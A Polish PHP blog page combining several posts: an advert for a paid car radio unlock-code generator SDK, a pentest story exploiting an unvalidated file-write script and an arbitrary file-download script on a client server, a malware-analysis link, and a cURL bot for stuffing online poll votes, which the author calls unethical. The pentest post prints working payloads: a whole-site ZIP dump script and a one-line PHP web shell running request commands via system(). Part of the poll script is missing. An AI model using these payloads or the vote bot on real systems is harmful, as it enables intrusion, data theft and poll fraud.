Generator kodów radiowych w PHP

Kolejny generator kodów radiowych, tym razem w wersji dla języka PHP. Generuj kody radiowe i nawigacyjne dla popularnych modeli aut, sprzedawaj je i zarabiaj ile wlezie 🙂

Instalacja

Paczka instalacyjna dostępna dla composera:

https://packagist.org/packages/pelock/radio-code-calculator

Kody źródłowe z przykładami i unit testami:

https://github.com/PELock/Radio-Code-Calculator-PHP

Przykład, jak wygenerować kod radiowy

<?php declare(strict_types=1);

/******************************************************************************
 *
 * Radio Code Calculator API - WebApi interface usage example
 *
 * In this example, we will demonstrate how to generate a code for a specific
 * type of car radio.
 *
 * Version      : v1.00
 * PHP          : >= 8
 * Dependencies : cURL
 * Author       : Bartosz Wójcik ([email protected])
 * Project      : https://www.pelock.com/products/radio-code-calculator
 * Homepage     : https://www.pelock.com
 *
 * @link https://www.pelock.com/products/radio-code-calculator
 * @copyright Copyright (c) 2021-2023 PELock LLC
 * @license Apache-2.0
 *
/*****************************************************************************/

//
// include Radio Code Calculator API module
//
use PELock\RadioCodeCalculator\RadioCodeCalculator;
use PELock\RadioCodeCalculator\RadioErrors;
use PELock\RadioCodeCalculator\RadioModels;

//
// create Radio Code Calculator API class instance (we are using our activation key)
//
$myRadioCodeCalculator = new RadioCodeCalculator("ABCD-ABCD-ABCD-ABCD");

//
// generate radio code (using Web API)
//
list($error, $result) = $myRadioCodeCalculator->calc(RadioModels::get(RadioModels::FORD_M_SERIES), "123456");

switch($error)
{
        case RadioErrors::SUCCESS: echo "Radio code is " . $result["code"]; break;
        case RadioErrors::INVALID_RADIO_MODEL: echo "Invalid radio model (not supported)"; break;
        case RadioErrors::INVALID_SERIAL_LENGTH: echo "Invalid serial number length (expected " . $result["serialMaxLen"] . " characters)"; break;
        case RadioErrors::INVALID_SERIAL_PATTERN: echo "Invalid serial number regular expression pattern (expected " . $result["serialRegexPattern"]["php"] . " regex pattern)"; break;
        case RadioErrors::INVALID_SERIAL_NOT_SUPPORTED: echo "This serial number is not supported"; break;
        case RadioErrors::INVALID_EXTRA_LENGTH: echo "Invalid extra data length (expected " . $result["extraMaxLen"] . " characters)"; break;
        case RadioErrors::INVALID_EXTRA_PATTERN: echo "Invalid extra data regular expression pattern (expected " . $result["extraRegexPattern"]["php"] . " regex pattern"; break;
        case RadioErrors::INVALID_INPUT: echo "Invalid input data"; break;
        case RadioErrors::INVALID_COMMAND: echo "Invalid command sent to the Web API interface"; break;
        case RadioErrors::INVALID_LICENSE: echo "Invalid license key!"; break;
        default: echo "Something unexpected happen while trying to login to the service (error code {error})."; break;
}

SDK dla Pythona i więcej przykładów

Więcej przykładów oraz wersje przykładów dla Pythona na:

https://www.pelock.com/pl/produkty/kalkulator-kodow-do-radia/sdk

Mokry sen pentestera, czyli pentesting na wesoło

Podczas ostatniej sesji pentestów u klienta odkryłem na serwerze skrypt pozostawiony przez dewelopera, który projektował system lata temu.

Skrypt, publicznie dostępny (jego adres był wysyłany do klientów), był wykorzystywany przez jeden z komponentów do zapisywania logów na serwerze, w bardzo oryginalny sposób.

Nie wiem nawet jak to skomentować, po prostu wam pokażę kod:

<?php

	/*function deleteDir($path) {
		if (empty($path)) { 
			return false;
		}
		return is_file($path) ?
				@unlink($path) :
				array_map(__FUNCTION__, glob($path.'/*')) == @rmdir($path);
	}

	deleteDir('xxx');
	die;*/

	$filename = $_REQUEST["xvar"];
	$user = $_REQUEST["yvar"];
	$xyz = $_REQUEST["zvar"];

	chdir('xxx');

	$hfile = fopen($filename, "a+");
	
	$fsize=filesize($filename);
	
	if ($fsize==0){
		fwrite($hfile, $user."\r\n\r\n");
	}
	
	fwrite($hfile, date("r")." - ".$xyz."\r\n");
	
	echo "1";

?>

No więc co się tutaj dzieje? Ten skrypt po prostu pobiera parametry z zapytania POST lub GET i wykorzystuje ich treść do nadpisania istniejącego lub stworzenia nowego pliku na serwerze w podkatalogu „xxx”.

Problem polega na tym, że nie jest przeprowadzona żadna walidacja i możliwe jest stworzenie dowolnego pliku w dowolnym katalogu systemu, także skryptów PHP.

Jak wykorzystać tę lukę?

Kreatywnie. To na pewno. I tak żeby klient zrozumiał, że to nie są żarty. Należy w tym celu skonstruować zapytanie POST do serwera i odpowiednio ustawić parametry:

  1. „xvar” – w tym parametrze zapiszemy nazwę nowo utworzonego skryptu PHP
  2. „yvar” – będzie zawierać treść kodu PHP z tagiem otwierający skrypt <?php i tagiem na końcu, który będzie otwierał wielolinijkowy komentarz PHP „/*”, ponieważ po tej zmiennej zapisywana jest data i zepsułoby to strukturę kodu PHP
  3. „zvar” – tym parametrem zamkniemy wielolinijkowy komenarz PHP „*/* oraz domkniemy tagi skryptu PHP „?>”

Pobieranie zawartości całej strony

Poniższy skrypt został tak zapisany, że wykorzystując rozszerzenie ZIP dla PHP tworzy archiwum (bez kompresji, żeby nie wydłużać czasu działania skryptu) ze wszystkimi plikami znajdującymi się na stronie.

<?php $r = realpath('../');$z = new ZipArchive();$z->open('dump.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r),	RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($r) + 1); $z->addFile($filePath, $relativePath); $z->setCompressionName($relativePath, ZipArchive::CM_STORE); } } $z->close(); /* 

Do stworzenia tego skryptu na serwerze wykorzystując znalezioną podatność wykorzystałem rozszerzenie dla Chrome – RestMan. Po ustawieniu rodzaju zapytania (POST) i parametrów, wadliwy skrypt zwrócił „1” co jak widać świadczy o tym, że wykonał się do końca.

Teraz wystarczy wpisać w przeglądarkę adres witryny i nazwę skryptu, znajduje się on w katalogu „xxx/dump.php” i jeśli wszystko pójdzie ok, stworzy „piętro wyżej” archiwum ZIP z całą zawartością strony.

Problem może być czas potrzeby do działania skryptu PHP, ograniczony ustawieniami w pliku konfiguracyjnym php.ini. Można go sobie wydłużyć wykonując funkcję PHP set_time_limit(10 * 60); zaraz na początku skryptu.

Zdalna powłoka

Z ciekawszych rzeczy, które można podrzucić jest zdalna powłoka, którą można wykorzystać do zdalnego wykonywania poleceń, dzięki funkcji system() wbudowanej w PHP:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } /*

Funkcja ta może być i często jest wyłączona w konfiguracji PHP, ale warto o tym wiedzieć.

Czy to w ogóle błąd?

Zastanawiałem się nad tym chwilę, bo adres skryptu był wysyłany do klientów systemu po określonej akcji i nie mogli mieć świadomości, co się dzieje po jego wykonaniu tzn. że w podkatalogu „xxx” tworzone są nowe pliki. Bo skąd?

Jednak dalsze testy tego archaicznego systemu pozwoliły odnaleźć innego kwiatka, który tego wyżej bije na głowę:

<?php
// downloading a file
	$filename = $_GET['filename'];

// fix for IE catching or PHP bug issue

	header("Pragma: public");
	header("Expires: 0"); // set expiration time
	header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
	
// browser must download file from server instead of cache

// force download dialog

	header("Content-Type: application/force-download");
	header("Content-Type: application/octet-stream");
	header("Content-Type: application/download");

// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.

	header("Content-Disposition: attachment; filename=".basename($filename).";");

/*
The Content-transfer-encoding header should be binary, since the file will be read
directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to
show a progress meter as a file downloads. The content-lenght can be determines by
filesize function returns the size of a file.
*/

	header("Content-Transfer-Encoding: binary");
	header("Content-Length: ".filesize($filename));

	@readfile($filename);
	
	exit(0);
	
?>

To raczej trudno pobić.

Skrypt pozwala pobrać dowolny plik z serwera, wystarczy np. ustawić parametr „filename” na „index.php” lub jakiś inny, często używany plik jak „config.php”, żeby dobrać się do reszty systemu.

Klient zaskoczony

Po wskazaniu błędów i zaprezentowaniu możliwości klient był zaskoczony, że takie coś w ogóle było możliwe, jednak wynikało to z wieku systemu i metod tworzenia oprogramowania wykorzystywanych lata temu, których już raczej nie doświadczymy. Chociaż, kto wie ile jeszcze takich starych kwiatków wisi na produkcji 🙂

Mayhem – ukryte zagrożenie dla serwerów *nix

VirusZnakomity tutorial analizujący zaawansowany malware infekujący web serwery bazujące na systemach z rodziny unix, czyta się to jak dobrą książkę, dawno tak dobrze napisanego tutoriala nie czytałem, a i sam malware to majstersztyk pod względem budowy, polecam:

https://www.virusbtn.com/virusbulletin/archive/2014/07/vb201407-Mayhem

Jak oddać głos w PHP

Prosty skrypt, który zrobiłem dla znajomego, pozwalający automatycznie oddać głos w ankiecie (może to nie za bardzo etyczne, ale kogo to obchodzi).

Przykładowa forma głosowania (update, dzięki Tomek) wygląda tak:



Forma zawiera 3 ukryte pola (może to być np. identyfikator głosowania) oraz button Submit, należy również zwrócić uwagę na sposób przesyłania danych, tzn. POST lub GET. Skrypt do głosowania:

 urlencode('param 1 value'),
                'param2' => urlencode('param 2 value'),
                'param3' => urlencode('param 3 value'),
                'submit' => urlencode('Submit vote')
        );

// zbuduj poprawny ciag dla cURL
foreach($fields as $key => $value)
{
        $fields_string .= $key.'='.$value.'&';
}

rtrim($fields_string, '&');

$ch = curl_init();

// adres strony
curl_setopt($ch, CURLOPT_URL, $url);

// ilosc parametrow
curl_setopt($ch, CURLOPT_POST, count($fields));

// parametry POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);

// przegladarka
curl_setopt($ch, CURLOPT_USERAGENT, array_rand($agents));

// zwroc tylko wynik
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$result = curl_exec($ch);

curl_close($ch);

// wyswietl wynikowy kod html
//echo $result;

?>

Skrypt wymaga zainstalowanej biblioteki cURL.